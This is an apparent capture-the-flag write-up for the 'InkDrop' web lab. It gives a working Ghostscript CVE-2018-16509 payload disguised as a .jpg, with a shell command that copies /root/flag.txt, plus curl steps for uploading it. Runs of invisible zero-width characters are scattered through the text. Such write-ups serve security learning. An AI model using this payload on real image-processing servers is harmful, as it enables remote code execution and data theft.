← Back to Writeups
CUSTOMMediumWeb

InkDrop

XESXOR9/10/20263 min read
#web#custom#medium#dynamic_path_discovery_for_exf#eps_content_in_jpg_extension_b#ghostscript_safer_bypass_via_f#honeypot_flag_detection#pillow_eps_autodetection_abuse#putdeviceprops_pipe_command_ex#cve-2018-16509#linux

InkDrop

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: dynamic_path_discovery_for_exfiltration, eps_content_in_jpg_extension_bypass, ghostscript_safer_bypass_via_failed_restore, honeypot_flag_detection, pillow_eps_autodetection_abuse, putdeviceprops_pipe_command_execution

Summary

Task: Flask blogging platform with Pillow-based image thumbnail generation; Ghostscript processes EPS content regardless of file extension. Solution: Upload EPS payload with .jpg extension exploiting CVE-2018-16509 (-dSAFER bypass via failed restore) to achieve RCE and exfiltrate /root/flag.txt.

InkDrop — HackAdvisor Lab 214

Description

Lab 214 — InkDrop — RCE via Ghostscript EPS Processing

InkDrop is a modern blogging platform for creative professionals. Users can create posts with featured images that are automatically optimized — the server generates thumbnails via Pillow. The goal is to achieve RCE and read /root/flag.txt.

Target: https://2650d0d8-d8b6-4abe-a701-ad5a596d9c6d.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

Reconnaissance

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • Flask app behind nginx/1.25.5
  • Homepage states: "Image pipeline powered by Pillow"
  • Post creation at /post/new with multipart image upload
  • Thumbnails generated as thumb_<uuid>.jpg in /uploads/
  • Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} found in HTML source — honeypot, correctly ignored

Vulnerability: CVE-2018-16509

Ghostscript -dSAFER bypass via failed restore in PostScript.

Pillow's EPS handler detects file format by content (looking for %!PS-Adobe header), not by file extension. This means an EPS payload saved with a .jpg extension will still be processed by Ghostscript during thumbnail generation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Pillow calls Ghostscript with -dSAFER to prevent dangerous operations, but CVE-2018-16509 bypasses this restriction using a save/legal/{null restore} stopped/restore sequence that disables LockSafetyParams, allowing %pipe% command execution via putdeviceprops.

Solution

Failed Approaches

  1. Direct .eps upload — no thumbnail generated; server skips non-image extensions
  2. Direct %pipe% without SAFER bypass — blocked by -dSAFER
  3. Writing to guessed paths (/app/uploads/, /app/static/) — wrong paths on the server
  4. SVG upload — no thumbnail processing triggered
  5. showpage after putdeviceprops — breaks rendering, no thumbnail output ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Working Payload

The key insight was combining three techniques:

  1. EPS content inside a .jpg file to bypass extension filtering
  2. CVE-2018-16509 to bypass Ghostscript's -dSAFER
  3. Dynamic path discovery via find to locate the uploads directory for exfiltration

Payload (rce7.jpg):

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%find / -name "thumb_post_0.jpg" -type f 2>/dev/null | head -1 | xargs dirname | xargs -I{} sh -c "cat /root/flag.txt > {}/flagout.txt") currentdevice putdeviceprops

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How it works:

StepPostScriptPurpose
1userdict /setpagedevice undefRemoves setpagedevice restriction
2save / legalSets up VM save point
3{ null restore } stopped { pop } ifFailed restore disables LockSafetyParams (CVE-2018-16509)
4restoreRestores VM state with safety params now unlocked
5mark /OutputFile (%pipe%...) currentdevice putdevicepropsExecutes shell command via %pipe% OutputFile
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The shell command chain:

  • find / -name "thumb_post_0.jpg" — locates the uploads directory dynamically
  • xargs dirname — extracts the directory path
  • cat /root/flag.txt > {}/flagout.txt — writes the flag to the uploads directory

Exploit Steps

bash
TARGET="https://2650d0d8-d8b6-4abe-a701-ad5a596d9c6d.labs.hackadvisor.io"

# 1. Login
curl -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

# 2. Upload malicious EPS-in-JPG as featured image
curl -b cookies.txt -X POST "$TARGET/post/new" \
  -F "title=Test Post" \
  -F "content=Hello" \
  -F "image=@rce7.jpg;type=image/jpeg"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 3. Pillow detects EPS content → calls Ghostscript → RCE triggers
# 4. Retrieve exfiltrated flag
curl "$TARGET/uploads/flagout.txt"
# → FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍